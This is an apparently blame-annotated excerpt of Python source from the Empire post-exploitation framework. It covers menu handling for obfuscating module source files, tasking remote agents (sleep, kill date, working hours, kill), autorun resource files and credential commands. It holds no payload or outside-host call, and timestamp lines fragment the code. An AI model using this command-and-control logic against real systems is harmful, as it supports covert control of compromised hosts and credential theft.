2017-03-11 23:35:17 +00:00
choice = raw_input ( helpers . color ( " [>] Force reobfuscation of previously obfuscated modules? [y/N] " , " red " ) )
if choice . lower ( ) != " " and choice . lower ( ) [ 0 ] == " y " :
reobfuscate = True
2017-04-23 01:17:28 +00:00
# Preobfuscate a selected module_source file
2017-03-11 23:35:17 +00:00
else :
2017-04-23 01:17:28 +00:00
module_source_fullpath = self . installPath + ' data/module_source/ ' + module
if not os . path . isfile ( module_source_fullpath ) :
print helpers . color ( " [!] The module_source file: " + module_source_fullpath + " does not exist. " )
return
choice = raw_input ( helpers . color ( " [>] Preobfuscate the module_source file: " + module + " using obfuscation command: \" " + self . obfuscateCommand + " \" ? [y/N] " , " red " ) )
if choice . lower ( ) != " " and choice . lower ( ) [ 0 ] == " y " :
obfuscate_confirmation = True
choice = raw_input ( helpers . color ( " [>] Force reobfuscation of previously obfuscated modules? [y/N] " , " red " ) )
if choice . lower ( ) != " " and choice . lower ( ) [ 0 ] == " y " :
reobfuscate = True
# Perform obfuscation
if obfuscate_confirmation :
if obfuscate_all :
files = [ file for file in helpers . get_module_source_files ( ) ]
2017-03-11 23:35:17 +00:00
else :
2017-04-23 01:17:28 +00:00
files = [ self . installPath + ' data/module_source/ ' + module ]
for file in files :
2017-10-08 02:39:41 +00:00
file = self . installPath + file
2017-04-23 01:17:28 +00:00
if reobfuscate or not helpers . is_obfuscated ( file ) :
print helpers . color ( " [*] Obfuscating " + os . path . basename ( file ) + " ... " )
else :
print helpers . color ( " [*] " + os . path . basename ( file ) + " was already obfuscated. Not reobfuscating. " )
helpers . obfuscate_module ( file , self . obfuscateCommand , reobfuscate )
2016-07-15 22:56:38 +00:00
2016-09-23 18:04:35 +00:00
def complete_usemodule ( self , text , line , begidx , endidx , language = None ) :
" Tab-complete an Empire module path. "
2015-08-05 18:36:39 +00:00
2016-07-21 01:28:27 +00:00
module_names = self . modules . modules . keys ( )
2017-07-03 11:56:47 +00:00
2017-07-03 12:11:00 +00:00
# suffix each module requiring elevated context with '*'
2017-07-03 11:56:47 +00:00
for module_name in module_names :
2017-07-03 12:11:00 +00:00
try :
if self . modules . modules [ module_name ] . info [ ' NeedsAdmin ' ] :
module_names [ module_names . index ( module_name ) ] = ( module_name + " * " )
# handle modules without a NeedAdmins info key
except KeyError :
pass
2017-07-03 11:56:47 +00:00
2016-09-23 18:04:35 +00:00
if language :
module_names = [ ( module_name [ len ( language ) + 1 : ] ) for module_name in module_names if module_name . startswith ( language ) ]
2015-08-05 18:36:39 +00:00
mline = line . partition ( ' ' ) [ 2 ]
2017-07-03 11:56:47 +00:00
2015-08-05 18:36:39 +00:00
offs = len ( mline ) - len ( text )
2017-07-03 11:56:47 +00:00
module_names = [ s [ offs : ] for s in module_names if s . startswith ( mline ) ]
return module_names
2015-08-05 18:36:39 +00:00
def complete_reload ( self , text , line , begidx , endidx ) :
" Tab-complete an Empire PowerShell module path. "
2016-07-21 01:28:27 +00:00
module_names = self . modules . modules . keys ( ) + [ " all " ]
2015-08-05 18:36:39 +00:00
mline = line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
2016-07-21 01:28:27 +00:00
return [ s [ offs : ] for s in module_names if s . startswith ( mline ) ]
2015-08-05 18:36:39 +00:00
def complete_usestager ( self , text , line , begidx , endidx ) :
" Tab-complete an Empire stager module path. "
2016-09-23 18:04:35 +00:00
stagerNames = self . stagers . stagers . keys ( )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
if line . split ( ' ' ) [ 1 ] . lower ( ) in stagerNames :
listenerNames = self . listeners . get_listener_names ( )
endLine = ' ' . join ( line . split ( ' ' ) [ 1 : ] )
mline = endLine . partition ( ' ' ) [ 2 ]
2015-08-05 18:36:39 +00:00
offs = len ( mline ) - len ( text )
2016-09-23 18:04:35 +00:00
return [ s [ offs : ] for s in listenerNames if s . startswith ( mline ) ]
2015-08-05 18:36:39 +00:00
else :
# otherwise tab-complate the stager names
mline = line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
2016-09-23 18:04:35 +00:00
return [ s [ offs : ] for s in stagerNames if s . startswith ( mline ) ]
2015-08-05 18:36:39 +00:00
2017-04-06 13:45:23 +00:00
def complete_setlist ( self , text , line , begidx , endidx ) :
" Tab-complete a global list option "
options = [ " listeners " , " agents " ]
if line . split ( ' ' ) [ 1 ] . lower ( ) in options :
return helpers . complete_path ( text , line , arg = True )
mline = line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
return [ s [ offs : ] for s in options if s . startswith ( mline ) ]
2015-08-05 18:36:39 +00:00
def complete_set ( self , text , line , begidx , endidx ) :
" Tab-complete a global option. "
2017-03-11 23:35:17 +00:00
options = [ " ip_whitelist " , " ip_blacklist " , " obfuscate " , " obfuscate_command " ]
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
if line . split ( ' ' ) [ 1 ] . lower ( ) in options :
2016-07-21 01:28:27 +00:00
return helpers . complete_path ( text , line , arg = True )
2015-08-05 18:36:39 +00:00
mline = line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
return [ s [ offs : ] for s in options if s . startswith ( mline ) ]
2016-03-31 03:03:02 +00:00
def complete_load ( self , text , line , begidx , endidx ) :
" Tab-complete a module load path. "
2016-07-21 01:28:27 +00:00
return helpers . complete_path ( text , line )
2016-03-31 03:03:02 +00:00
2015-08-05 18:36:39 +00:00
def complete_reset ( self , text , line , begidx , endidx ) :
" Tab-complete a global option. "
2016-07-21 01:28:27 +00:00
2015-08-05 18:36:39 +00:00
return self . complete_set ( text , line , begidx , endidx )
def complete_show ( self , text , line , begidx , endidx ) :
" Tab-complete a global option. "
2016-07-21 01:28:27 +00:00
2015-08-05 18:36:39 +00:00
return self . complete_set ( text , line , begidx , endidx )
def complete_creds ( self , text , line , begidx , endidx ) :
" Tab-complete ' creds ' commands. "
2016-07-21 01:28:27 +00:00
commands = [ " add " , " remove " , " export " , " hash " , " plaintext " , " krbtgt " ]
2015-08-05 18:36:39 +00:00
mline = line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
return [ s [ offs : ] for s in commands if s . startswith ( mline ) ]
2016-07-15 22:56:38 +00:00
def complete_interact ( self , text , line , begidx , endidx ) :
" Tab-complete an interact command "
2016-09-23 18:04:35 +00:00
names = self . agents . get_agent_names_db ( )
2016-07-15 22:56:38 +00:00
mline = line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
return [ s [ offs : ] for s in names if s . startswith ( mline ) ]
2015-08-05 18:36:39 +00:00
2017-04-06 13:45:23 +00:00
def complete_list ( self , text , line , begidx , endidx ) :
" Tab-complete list "
return self . complete_setlist ( text , line , begidx , endidx )
2017-04-23 01:17:28 +00:00
def complete_preobfuscate ( self , text , line , begidx , endidx ) :
" Tab-complete an interact command "
options = [ ( option [ len ( ' data/module_source/ ' ) : ] ) for option in helpers . get_module_source_files ( ) ]
options . append ( ' all ' )
mline = line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
return [ s [ offs : ] for s in options if s . startswith ( mline ) ]
2015-08-05 18:36:39 +00:00
2017-10-13 16:31:35 +00:00
class SubMenu ( cmd . Cmd ) :
2015-08-05 18:36:39 +00:00
def __init__ ( self , mainMenu ) :
cmd . Cmd . __init__ ( self )
self . mainMenu = mainMenu
2017-10-12 20:42:43 +00:00
def cmdloop ( self ) :
2017-10-16 15:55:48 +00:00
if len ( self . mainMenu . resourceQueue ) > 0 :
2017-10-12 21:45:07 +00:00
self . cmdqueue . append ( self . mainMenu . resourceQueue . pop ( 0 ) )
2017-10-12 20:42:43 +00:00
cmd . Cmd . cmdloop ( self )
2015-08-05 18:36:39 +00:00
2016-07-21 01:28:27 +00:00
def emptyline ( self ) :
pass
2015-08-05 18:36:39 +00:00
2017-10-16 15:55:48 +00:00
2017-10-12 20:17:35 +00:00
def postcmd ( self , stop , line ) :
2017-10-13 16:31:35 +00:00
if line == " back " :
return True
2017-10-16 15:55:48 +00:00
if len ( self . mainMenu . resourceQueue ) > 0 :
nextcmd = self . mainMenu . resourceQueue . pop ( 0 )
if nextcmd == " lastautoruncmd " :
raise Exception ( " endautorun " )
self . cmdqueue . append ( nextcmd )
2015-08-05 18:36:39 +00:00
2017-10-17 16:25:19 +00:00
2015-08-05 18:36:39 +00:00
def do_back ( self , line ) :
2017-10-13 16:31:35 +00:00
" Go back a menu. "
return True
2016-03-22 18:32:47 +00:00
def do_listeners ( self , line ) :
" Jump to the listeners menu. "
raise NavListeners ( )
2015-08-05 18:36:39 +00:00
2017-10-13 16:45:55 +00:00
def do_agents ( self , line ) :
" Jump to the agents menu. "
raise NavAgents ( )
2015-08-05 18:36:39 +00:00
def do_main ( self , line ) :
" Go back to the main menu. "
2015-11-22 01:03:40 +00:00
raise NavMain ( )
2015-08-05 18:36:39 +00:00
2017-10-12 21:53:32 +00:00
def do_resource ( self , arg ) :
2017-10-13 03:28:45 +00:00
" Read and execute a list of Empire commands from a file. "
2017-10-17 16:25:19 +00:00
self . mainMenu . resourceQueue . extend ( self . mainMenu . buildQueue ( arg ) )
2015-08-05 18:36:39 +00:00
def do_exit ( self , line ) :
" Exit Empire. "
2015-11-22 01:03:40 +00:00
raise KeyboardInterrupt
2015-08-05 18:36:39 +00:00
2017-10-13 16:31:35 +00:00
def do_creds ( self , line ) :
" Display/return credentials from the database. "
self . mainMenu . do_creds ( line )
# print a nicely formatted help menu
# stolen/adapted from recon-ng
def print_topics ( self , header , commands , cmdlen , maxcol ) :
if commands :
self . stdout . write ( " %s \n " % str ( header ) )
if self . ruler :
self . stdout . write ( " %s \n " % str ( self . ruler * len ( header ) ) )
for command in commands :
self . stdout . write ( " %s %s \n " % ( command . ljust ( 17 ) , getattr ( self , ' do_ ' + command ) . __doc__ ) )
self . stdout . write ( " \n " )
# def preloop(self):
# traceback.print_stack()
class AgentsMenu ( SubMenu ) :
"""
The main class used by Empire to drive the ' agents ' menu .
"""
def __init__ ( self , mainMenu ) :
SubMenu . __init__ ( self , mainMenu )
self . doc_header = ' Commands '
# set the prompt text
self . prompt = ' (Empire: ' + helpers . color ( " agents " , color = " blue " ) + ' ) > '
messages . display_agents ( self . mainMenu . agents . get_agents_db ( ) )
def do_back ( self , line ) :
" Go back to the main menu. "
raise NavMain ( )
2015-08-05 18:36:39 +00:00
2017-10-16 18:55:09 +00:00
def do_autorun ( self , line ) :
" Read and execute a list of Empire commands from a file and execute on each new agent \" autorun <resource file> <agent language> \" e.g. \" autorun /root/ps.rc powershell \" . Or clear any autorun setting with \" autorun clear \" and show current autorun settings with \" autorun show \" "
line = line . strip ( )
if not line :
print helpers . color ( " [!] You must specify a resource file, show or clear. e.g. ' autorun /root/res.rc powershell ' or ' autorun clear ' " )
return
cmds = line . split ( ' ' )
resourceFile = cmds [ 0 ]
language = None
if len ( cmds ) > 1 :
2017-10-16 22:28:19 +00:00
language = cmds [ 1 ] . lower ( )
2017-10-16 18:55:09 +00:00
elif not resourceFile == " show " and not resourceFile == " clear " :
2017-10-16 22:28:19 +00:00
print helpers . color ( " [!] You must specify the agent language to run this module on. e.g. ' autorun /root/res.rc powershell ' or ' autorun /root/res.rc python ' " )
2017-10-16 18:55:09 +00:00
return
#show the current autorun settings by language or all
if resourceFile == " show " :
if language :
if self . mainMenu . autoRuns . has_key ( language ) :
print self . mainMenu . autoRuns [ language ]
else :
print " No autorun commands for language %s " % language
else :
print self . mainMenu . autoRuns
#clear autorun settings by language or all
elif resourceFile == " clear " :
if language and not language == " all " :
if self . mainMenu . autoRuns . has_key ( language ) :
self . mainMenu . autoRuns . pop ( language )
else :
print " No autorun commands for language %s " % language
else :
#clear all autoruns
self . mainMenu . autoRuns . clear ( )
#read in empire commands from the specified resource file
2017-10-16 15:55:48 +00:00
else :
2017-10-17 16:25:19 +00:00
self . mainMenu . autoRuns [ language ] = self . mainMenu . buildQueue ( resourceFile , True )
2017-10-16 15:55:48 +00:00
2015-08-05 18:36:39 +00:00
def do_list ( self , line ) :
2015-08-20 23:08:40 +00:00
" Lists all active agents (or listeners). "
2015-08-05 18:36:39 +00:00
2015-08-20 23:08:40 +00:00
if line . lower ( ) . startswith ( " listeners " ) :
2016-09-23 18:04:35 +00:00
self . mainMenu . do_list ( " listeners " + str ( ' ' . join ( line . split ( ' ' ) [ 1 : ] ) ) )
2015-08-20 23:08:40 +00:00
elif line . lower ( ) . startswith ( " agents " ) :
2016-09-23 18:04:35 +00:00
self . mainMenu . do_list ( " agents " + str ( ' ' . join ( line . split ( ' ' ) [ 1 : ] ) ) )
2015-08-05 18:36:39 +00:00
else :
2015-08-20 23:08:40 +00:00
self . mainMenu . do_list ( " agents " + str ( line ) )
2015-08-05 18:36:39 +00:00
def do_rename ( self , line ) :
" Rename a particular agent. "
2016-07-21 01:28:27 +00:00
2016-09-23 18:04:35 +00:00
parts = line . strip ( ) . split ( ' ' )
2015-08-05 18:36:39 +00:00
# name sure we get an old name and new name for the agent
if len ( parts ) == 2 :
# replace the old name with the new name
self . mainMenu . agents . rename_agent ( parts [ 0 ] , parts [ 1 ] )
else :
print helpers . color ( " [!] Please enter an agent name and new name " )
def do_interact ( self , line ) :
" Interact with a particular agent. "
2016-07-21 01:28:27 +00:00
2015-08-05 18:36:39 +00:00
name = line . strip ( )
2016-09-23 18:04:35 +00:00
sessionID = self . mainMenu . agents . get_agent_id_db ( name )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
if sessionID and sessionID != ' ' and sessionID in self . mainMenu . agents . agents :
AgentMenu ( self . mainMenu , sessionID )
2015-08-05 18:36:39 +00:00
else :
print helpers . color ( " [!] Please enter a valid agent name " )
def do_kill ( self , line ) :
" Task one or more agents to exit. "
name = line . strip ( )
2016-09-23 18:04:35 +00:00
if name . lower ( ) == ' all ' :
2015-08-05 18:36:39 +00:00
try :
2016-09-23 18:04:35 +00:00
choice = raw_input ( helpers . color ( ' [>] Kill all agents? [y/N] ' , ' red ' ) )
if choice . lower ( ) != ' ' and choice . lower ( ) [ 0 ] == ' y ' :
allAgents = self . mainMenu . agents . get_agents_db ( )
for agent in allAgents :
sessionID = agent [ ' session_id ' ]
self . mainMenu . agents . add_agent_task_db ( sessionID , ' TASK_EXIT ' )
2016-07-21 01:28:27 +00:00
except KeyboardInterrupt :
2016-09-23 18:04:35 +00:00
print ' '
2015-08-05 18:36:39 +00:00
else :
2016-09-23 18:04:35 +00:00
try :
choice = raw_input ( helpers . color ( " [>] Kill agent ' %s ' ? [y/N] " % ( name ) , ' red ' ) )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# extract the sessionID and clear the agent tasking
sessionID = self . mainMenu . agents . get_agent_id_db ( name )
if sessionID and len ( sessionID ) != 0 :
self . mainMenu . agents . add_agent_task_db ( sessionID , ' TASK_EXIT ' )
else :
print helpers . color ( " [!] Invalid agent name " )
except KeyboardInterrupt :
print ' '
2015-08-05 18:36:39 +00:00
def do_clear ( self , line ) :
" Clear one or more agent ' s taskings. "
name = line . strip ( )
2016-09-23 18:04:35 +00:00
if name . lower ( ) == ' all ' :
self . mainMenu . agents . clear_agent_tasks_db ( ' all ' )
elif name . lower ( ) == ' autorun ' :
2016-10-06 18:32:33 +00:00
self . mainMenu . agents . clear_autoruns_db ( )
2015-08-05 18:36:39 +00:00
else :
# extract the sessionID and clear the agent tasking
2016-09-23 18:04:35 +00:00
sessionID = self . mainMenu . agents . get_agent_id_db ( name )
2015-08-05 18:36:39 +00:00
if sessionID and len ( sessionID ) != 0 :
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . clear_agent_tasks_db ( sessionID )
2015-08-05 18:36:39 +00:00
else :
print helpers . color ( " [!] Invalid agent name " )
def do_sleep ( self , line ) :
" Task one or more agents to ' sleep [agent/all] interval [jitter] ' "
2016-09-23 18:04:35 +00:00
parts = line . strip ( ) . split ( ' ' )
2015-08-05 18:36:39 +00:00
if len ( parts ) == 1 :
print helpers . color ( " [!] Please enter ' interval [jitter] ' " )
2016-09-23 18:04:35 +00:00
elif parts [ 0 ] . lower ( ) == ' all ' :
2015-08-05 18:36:39 +00:00
delay = parts [ 1 ]
jitter = 0.0
if len ( parts ) == 3 :
jitter = parts [ 2 ]
2016-09-23 18:04:35 +00:00
allAgents = self . mainMenu . agents . get_agents_db ( )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
for agent in allAgents :
sessionID = agent [ ' session_id ' ]
2015-08-05 18:36:39 +00:00
# update this agent info in the database
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . set_agent_field_db ( ' delay ' , delay , sessionID )
self . mainMenu . agents . set_agent_field_db ( ' jitter ' , jitter , sessionID )
2015-08-05 18:36:39 +00:00
# task the agent
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . add_agent_task_db ( sessionID , ' TASK_SHELL ' , ' Set-Delay ' + str ( delay ) + ' ' + str ( jitter ) )
2015-08-05 18:36:39 +00:00
# update the agent log
2016-09-23 18:04:35 +00:00
msg = " Tasked agent to delay sleep/jitter %s / %s " % ( delay , jitter )
2015-08-05 18:36:39 +00:00
self . mainMenu . agents . save_agent_log ( sessionID , msg )
else :
# extract the sessionID and clear the agent tasking
2016-09-23 18:04:35 +00:00
sessionID = self . mainMenu . agents . get_agent_id_db ( parts [ 0 ] )
2015-08-05 18:36:39 +00:00
delay = parts [ 1 ]
jitter = 0.0
if len ( parts ) == 3 :
jitter = parts [ 2 ]
if sessionID and len ( sessionID ) != 0 :
# update this agent's information in the database
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . set_agent_field_db ( ' delay ' , delay , sessionID )
self . mainMenu . agents . set_agent_field_db ( ' jitter ' , jitter , sessionID )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . add_agent_task_db ( sessionID , ' TASK_SHELL ' , ' Set-Delay ' + str ( delay ) + ' ' + str ( jitter ) )
2015-08-05 18:36:39 +00:00
# update the agent log
2016-09-23 18:04:35 +00:00
msg = " Tasked agent to delay sleep/jitter %s / %s " % ( delay , jitter )
2015-08-05 18:36:39 +00:00
self . mainMenu . agents . save_agent_log ( sessionID , msg )
else :
print helpers . color ( " [!] Invalid agent name " )
2015-08-12 01:48:21 +00:00
2015-08-10 22:50:18 +00:00
def do_lostlimit ( self , line ) :
2016-09-23 18:04:35 +00:00
" Task one or more agents to ' lostlimit [agent/all] [number of missed callbacks] ' "
2015-08-10 02:18:02 +00:00
2016-09-23 18:04:35 +00:00
parts = line . strip ( ) . split ( ' ' )
2015-08-10 02:18:02 +00:00
if len ( parts ) == 1 :
2016-09-23 18:04:35 +00:00
print helpers . color ( " [!] Usage: ' lostlimit [agent/all] [number of missed callbacks] " )
2015-08-10 02:18:02 +00:00
2016-09-23 18:04:35 +00:00
elif parts [ 0 ] . lower ( ) == ' all ' :
lostLimit = parts [ 1 ]
allAgents = self . mainMenu . agents . get_agents_db ( )
2015-08-10 02:18:02 +00:00
2016-09-23 18:04:35 +00:00
for agent in allAgents :
sessionID = agent [ ' session_id ' ]
2015-08-10 02:18:02 +00:00
# update this agent info in the database
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . set_agent_field_db ( ' lost_limit ' , lostLimit , sessionID )
2015-08-10 02:18:02 +00:00
# task the agent
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . add_agent_task_db ( sessionID , ' TASK_SHELL ' , ' Set-LostLimit ' + str ( lostLimit ) )
2015-08-10 02:18:02 +00:00
# update the agent log
2016-09-23 18:04:35 +00:00
msg = " Tasked agent to change lost limit %s " % ( lostLimit )
2015-08-10 02:18:02 +00:00
self . mainMenu . agents . save_agent_log ( sessionID , msg )
else :
# extract the sessionID and clear the agent tasking
2016-09-23 18:04:35 +00:00
sessionID = self . mainMenu . agents . get_agent_id_db ( parts [ 0 ] )
lostLimit = parts [ 1 ]
2015-08-10 02:18:02 +00:00
if sessionID and len ( sessionID ) != 0 :
# update this agent's information in the database
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . set_agent_field_db ( ' lost_limit ' , lostLimit , sessionID )
2015-08-10 02:18:02 +00:00
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . add_agent_task_db ( sessionID , ' TASK_SHELL ' , ' Set-LostLimit ' + str ( lostLimit ) )
2015-08-10 02:18:02 +00:00
# update the agent log
2016-09-23 18:04:35 +00:00
msg = " Tasked agent to change lost limit %s " % ( lostLimit )
2015-08-10 02:18:02 +00:00
self . mainMenu . agents . save_agent_log ( sessionID , msg )
else :
print helpers . color ( " [!] Invalid agent name " )
2015-08-05 18:36:39 +00:00
2015-08-12 01:48:21 +00:00
2015-08-05 18:36:39 +00:00
def do_killdate ( self , line ) :
" Set the killdate for one or more agents (killdate [agent/all] 01/01/2016). "
2016-09-23 18:04:35 +00:00
parts = line . strip ( ) . split ( ' ' )
2015-08-05 18:36:39 +00:00
if len ( parts ) == 1 :
2016-09-23 18:04:35 +00:00
print helpers . color ( " [!] Usage: ' killdate [agent/all] [01/01/2016] ' " )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
elif parts [ 0 ] . lower ( ) == ' all ' :
2015-08-05 18:36:39 +00:00
date = parts [ 1 ]
2016-09-23 18:04:35 +00:00
allAgents = self . mainMenu . agents . get_agents_db ( )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
for agent in allAgents :
sessionID = agent [ ' session_id ' ]
2015-08-05 18:36:39 +00:00
# update this agent's field in the database
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . set_agent_field_db ( ' kill_date ' , date , sessionID )
2015-08-05 18:36:39 +00:00
# task the agent
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . add_agent_task_db ( sessionID , ' TASK_SHELL ' , " Set-KillDate " + str ( date ) )
2015-08-05 18:36:39 +00:00
msg = " Tasked agent to set killdate to " + str ( date )
self . mainMenu . agents . save_agent_log ( sessionID , msg )
else :
# extract the sessionID and clear the agent tasking
2016-09-23 18:04:35 +00:00
sessionID = self . mainMenu . agents . get_agent_id_db ( parts [ 0 ] )
2015-08-05 18:36:39 +00:00
date = parts [ 1 ]
if sessionID and len ( sessionID ) != 0 :
# update this agent's field in the database
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . set_agent_field_db ( ' kill_date ' , date , sessionID )
2015-08-05 18:36:39 +00:00
# task the agent
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . add_agent_task_db ( sessionID , ' TASK_SHELL ' , " Set-KillDate " + str ( date ) )
2015-08-05 18:36:39 +00:00
# update the agent log
msg = " Tasked agent to set killdate to " + str ( date )
self . mainMenu . agents . save_agent_log ( sessionID , msg )
else :
print helpers . color ( " [!] Invalid agent name " )
def do_workinghours ( self , line ) :
" Set the workinghours for one or more agents (workinghours [agent/all] 9:00-17:00). "
2016-09-23 18:04:35 +00:00
parts = line . strip ( ) . split ( ' ' )
2015-08-05 18:36:39 +00:00
if len ( parts ) == 1 :
2016-09-23 18:04:35 +00:00
print helpers . color ( " [!] Usage: ' workinghours [agent/all] [9:00-17:00] ' " )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
elif parts [ 0 ] . lower ( ) == ' all ' :
2015-08-05 18:36:39 +00:00
hours = parts [ 1 ]
2016-09-23 18:04:35 +00:00
hours = hours . replace ( ' , ' , ' - ' )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
allAgents = self . mainMenu . agents . get_agents_db ( )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
for agent in allAgents :
sessionID = agent [ ' session_id ' ]
2015-08-05 18:36:39 +00:00
# update this agent's field in the database
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . set_agent_field_db ( ' working_hours ' , hours , sessionID )
2015-08-05 18:36:39 +00:00
# task the agent
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . add_agent_task_db ( sessionID , ' TASK_SHELL ' , " Set-WorkingHours " + str ( hours ) )
2016-07-21 01:28:27 +00:00
msg = " Tasked agent to set working hours to %s " % ( hours )
2015-08-05 18:36:39 +00:00
self . mainMenu . agents . save_agent_log ( sessionID , msg )
else :
# extract the sessionID and clear the agent tasking
2016-09-23 18:04:35 +00:00
sessionID = self . mainMenu . agents . get_agent_id_db ( parts [ 0 ] )
2015-08-05 18:36:39 +00:00
hours = parts [ 1 ]
2016-07-21 01:28:27 +00:00
hours = hours . replace ( " , " , " - " )
2015-08-05 18:36:39 +00:00
if sessionID and len ( sessionID ) != 0 :
2016-07-21 01:28:27 +00:00
# update this agent's field in the database
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . set_agent_field_db ( ' working_hours ' , hours , sessionID )
2015-08-05 18:36:39 +00:00
# task the agent
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . add_agent_task_db ( sessionID , ' TASK_SHELL ' , " Set-WorkingHours " + str ( hours ) )
2015-08-05 18:36:39 +00:00
# update the agent log
2016-09-23 18:04:35 +00:00
msg = " Tasked agent to set working hours to %s " % ( hours )
2015-08-05 18:36:39 +00:00
self . mainMenu . agents . save_agent_log ( sessionID , msg )
else :
print helpers . color ( " [!] Invalid agent name " )
def do_remove ( self , line ) :
" Remove one or more agents from the database. "
name = line . strip ( )
2016-09-23 18:04:35 +00:00
if name . lower ( ) == ' all ' :
2015-08-05 18:36:39 +00:00
try :
2016-09-23 18:04:35 +00:00
choice = raw_input ( helpers . color ( ' [>] Remove all agents from the database? [y/N] ' , ' red ' ) )
if choice . lower ( ) != ' ' and choice . lower ( ) [ 0 ] == ' y ' :
self . mainMenu . agents . remove_agent_db ( ' % ' )
2016-07-21 01:28:27 +00:00
except KeyboardInterrupt :
2016-09-23 18:04:35 +00:00
print ' '
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
elif name . lower ( ) == ' stale ' :
2015-08-12 01:59:19 +00:00
# remove 'stale' agents that have missed their checkin intervals
2016-09-23 18:04:35 +00:00
allAgents = self . mainMenu . agents . get_agents_db ( )
2016-07-21 01:28:27 +00:00
2016-09-23 18:04:35 +00:00
for agent in allAgents :
2015-08-12 01:59:19 +00:00
2016-09-23 18:04:35 +00:00
sessionID = agent [ ' session_id ' ]
2015-08-12 01:59:19 +00:00
# max check in -> delay + delay*jitter
2016-09-23 18:04:35 +00:00
intervalMax = ( agent [ ' delay ' ] + agent [ ' delay ' ] * agent [ ' jitter ' ] ) + 30
2015-08-12 01:59:19 +00:00
# get the agent last check in time
2016-09-23 18:04:35 +00:00
agentTime = time . mktime ( time . strptime ( agent [ ' lastseen_time ' ] , " % Y- % m- %d % H: % M: % S " ) )
2015-08-12 01:59:19 +00:00
2016-09-23 18:04:35 +00:00
if agentTime < time . mktime ( time . localtime ( ) ) - intervalMax :
2015-08-12 01:59:19 +00:00
# if the last checkin time exceeds the limit, remove it
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . remove_agent_db ( sessionID )
2015-08-12 01:59:19 +00:00
elif name . isdigit ( ) :
2015-08-12 01:48:21 +00:00
# if we're removing agents that checked in longer than X minutes ago
2016-09-23 18:04:35 +00:00
allAgents = self . mainMenu . agents . get_agents_db ( )
2015-08-12 01:48:21 +00:00
try :
minutes = int ( line . strip ( ) )
2016-07-21 01:28:27 +00:00
2015-08-12 01:48:21 +00:00
# grab just the agents active within the specified window (in minutes)
2016-09-23 18:04:35 +00:00
for agent in allAgents :
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
sessionID = agent [ ' session_id ' ]
2015-08-12 01:48:21 +00:00
# get the agent last check in time
2016-09-23 18:04:35 +00:00
agentTime = time . mktime ( time . strptime ( agent [ ' lastseen_time ' ] , " % Y- % m- %d % H: % M: % S " ) )
2015-08-12 01:48:21 +00:00
if agentTime < time . mktime ( time . localtime ( ) ) - ( int ( minutes ) * 60 ) :
# if the last checkin time exceeds the limit, remove it
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . remove_agent_db ( sessionID )
2015-08-12 01:48:21 +00:00
except :
print helpers . color ( " [!] Please enter the minute window for agent checkin. " )
else :
2015-08-05 18:36:39 +00:00
# extract the sessionID and clear the agent tasking
2016-09-23 18:04:35 +00:00
sessionID = self . mainMenu . agents . get_agent_id_db ( name )
2015-08-05 18:36:39 +00:00
if sessionID and len ( sessionID ) != 0 :
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . remove_agent_db ( sessionID )
2015-08-05 18:36:39 +00:00
else :
print helpers . color ( " [!] Invalid agent name " )
def do_usestager ( self , line ) :
" Use an Empire stager. "
2016-09-23 18:04:35 +00:00
parts = line . split ( ' ' )
2015-08-05 18:36:39 +00:00
if parts [ 0 ] not in self . mainMenu . stagers . stagers :
print helpers . color ( " [!] Error: invalid stager module " )
elif len ( parts ) == 1 :
2016-07-21 01:28:27 +00:00
stager_menu = StagerMenu ( self . mainMenu , parts [ 0 ] )
stager_menu . cmdloop ( )
2015-08-05 18:36:39 +00:00
elif len ( parts ) == 2 :
listener = parts [ 1 ]
if not self . mainMenu . listeners . is_listener_valid ( listener ) :
print helpers . color ( " [!] Please enter a valid listener name or ID " )
else :
self . mainMenu . stagers . set_stager_option ( ' Listener ' , listener )
2016-07-21 01:28:27 +00:00
stager_menu = StagerMenu ( self . mainMenu , parts [ 0 ] )
stager_menu . cmdloop ( )
2015-08-05 18:36:39 +00:00
else :
print helpers . color ( " [!] Error in AgentsMenu ' s do_userstager() " )
def do_usemodule ( self , line ) :
" Use an Empire PowerShell module. "
2017-07-03 12:11:00 +00:00
# Strip asterisks added by MainMenu.complete_usemodule()
2017-07-03 11:56:47 +00:00
module = line . strip ( ) . rstrip ( " * " )
2015-08-05 18:36:39 +00:00
if module not in self . mainMenu . modules . modules :
